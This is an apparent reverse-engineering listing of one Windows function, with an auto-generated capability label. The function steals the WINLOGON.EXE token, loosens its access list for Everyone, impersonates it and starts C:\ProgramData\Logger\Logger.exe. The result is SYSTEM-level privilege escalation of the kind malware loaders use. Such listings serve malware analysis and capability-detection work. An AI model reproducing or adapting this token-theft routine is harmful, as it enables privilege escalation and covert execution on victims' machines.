Function at 0x1800014d0
Capabilities:
Create process on windows
Get common file path
Print debug messages

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x510
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x500], rax
xor edi, edi
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0xa8], rdx
lea rcx, [rsp + 0xe2]
xor edx, edx
mov r8d, 0x206
mov r12, rdi
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x88], rdi
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x98], rdi
mov r13, rdi
mov r14, rdi
mov r15, rdi
mov dword [rsp + 0x74], edi
mov dword [rsp + 0x70], edi
mov dword [rsp + 0x78], edi
mov dword [rsp + 0x7c], edi
mov rsi, rdi
mov rbp, rdi
mov word [rsp + 0xe0], di
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x2f2]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x2f0], di
call sub.MSVCR90.dll_memset
call fcn.180001370
test eax, eax
jne 0x180001595
lea ebx, [rdi + 1]
jmp 0x1800019c5
lea rcx, str.WINLOGON.EXE
call fcn.180001410
mov ecx, 0x264
test eax, eax
cmove eax, ecx
xor edx, edx
mov ecx, 0x400
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r12, rax
test rax, rax
jne 0x1800015cb
lea ebx, [rax + 1]
jmp 0x1800019c5
lea r8, [rsp + 0x68]
mov edx, 0x60000
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1800015ea
lea ebx, [rax + 1]
jmp 0x1800019c5
xor eax, eax
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], rax
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov ecx, 0x419
mov ebx, 1
cmp ax, cx
mov dword [rsp + 0x20], edi
mov r8d, 0xf01ff
mov r9d, ebx
lea rdx, [0x180003318]
lea rcx, [rsp + 0xb0]
je 0x180001654
lea rdx, str.Everyone
call qword [sym.imp.ADVAPI32.dll_BuildExplicitAccessWithNameW]
mov rcx, qword [rsp + 0x68]
xor r9d, r9d
lea rax, [rsp + 0x60]
lea edx, [r9 + 4]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetKernelObjectSecurity]
test eax, eax
jne 0x1800016d2
mov ecx, dword [rsp + 0x60]
mov eax, 8
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call sub.MSVCR90.dll_void____ptr64___cdecl_operator_new_unsigned_long_long_unsigned___int64__
mov rsi, rax
test rax, rax
je 0x180001980
mov r9d, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
mov r8, rsi
mov edx, 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetKernelObjectSecurity]
test eax, eax
je 0x180001980
lea r9, [rsp + 0xa4]
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0xa0]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorDacl]
test eax, eax
je 0x180001980
mov r8, qword [rsp + 0x80]
lea r9, [rsp + 0x98]
lea rdx, [rsp + 0xb0]
mov ecx, ebx
call qword [sym.imp.ADVAPI32.dll_SetEntriesInAclW]
test eax, eax
je 0x18000172c
mov qword [rsp + 0x98], rdi
jmp 0x180001980
mov r9, qword [rsp + 0x80]
lea rax, [rsp + 0x7c]
lea r8, [rsp + 0x60]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rdi
lea rax, [rsp + 0x78]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x74]
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_MakeAbsoluteSD]
test eax, eax
jne 0x180001821
mov ecx, dword [rsp + 0x74]
call qword [sym.imp.MSVCR90.dll_malloc]
mov ecx, dword [rsp + 0x70]
mov qword [rsp + 0x80], rax
call qword [sym.imp.MSVCR90.dll_malloc]
mov ecx, dword [rsp + 0x78]
mov r13, rax
call qword [sym.imp.MSVCR90.dll_malloc]
mov ecx, dword [rsp + 0x7c]
mov r14, rax
call qword [sym.imp.MSVCR90.dll_malloc]
mov ecx, dword [rsp + 0x60]
mov r15, rax
call qword [sym.imp.MSVCR90.dll_malloc]
mov r9, qword [rsp + 0x80]
mov rbp, rax
lea rax, [rsp + 0x7c]
lea r8, [rsp + 0x60]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r15
lea rax, [rsp + 0x78]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x74]
mov rdx, rbp
mov rcx, rsi
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_MakeAbsoluteSD]
test eax, eax
je 0x180001980
mov r9d, dword [rsp + 0xa4]
mov r8, qword [rsp + 0x98]
mov edx, dword [rsp + 0xa0]
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
test eax, eax
je 0x180001980
mov rcx, qword [rsp + 0x68]
mov r8, rbp
mov edx, 4
call qword [sym.imp.ADVAPI32.dll_SetKernelObjectSecurity]
test eax, eax
je 0x180001980
lea r8, [rsp + 0x68]
mov edx, 0xf01ff
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180001980
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x88]
mov r9d, 2
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov edx, 0xf01ff
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x180001980
mov rcx, qword [rsp + 0x90]
xor edx, edx
lea r8d, [rdx + 0x68]
call sub.MSVCR90.dll_memset
mov rax, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x88]
mov dword [rax], 0x68
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
lea rcx, [rsp + 0x2f0]
mov edx, 0x208
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rdx, str.C:ProgramDataLoggerLogger.exe_mdkv
lea rcx, [rsp + 0xe0]
call qword [sym.imp.USER32.dll_wsprintfW]
mov rax, qword [rsp + 0x90]
mov rcx, qword [rsp + 0xa8]
mov qword [rsp + 0x50], rcx
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], 0x30
lea r8, [rsp + 0xe0]
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x28], edi
mov dword [rax], 0x68
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
jne 0x180001971
lea rcx, str.ERROR
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x180001980
lea rcx, [0x180003394]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ebx, edi
test rsi, rsi
je 0x18000198d
mov rcx, rsi
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
test rbp, rbp
je 0x18000199b
mov rcx, rbp
call qword [sym.imp.MSVCR90.dll_free]
test r15, r15
je 0x1800019a9
mov rcx, r15
call qword [sym.imp.MSVCR90.dll_free]
test r14, r14
je 0x1800019b7
mov rcx, r14
call qword [sym.imp.MSVCR90.dll_free]
test r13, r13
je 0x1800019c5
mov rcx, r13
call qword [sym.imp.MSVCR90.dll_free]
mov rcx, qword [rsp + 0x80]
test rcx, rcx
je 0x1800019d8
call qword [sym.imp.MSVCR90.dll_free]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
sete dil
mov eax, edi
mov rcx, qword [rsp + 0x500]
xor rcx, rsp
call fcn.180001ba0
mov rbx, qword [rsp + 0x560]
add rsp, 0x510
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret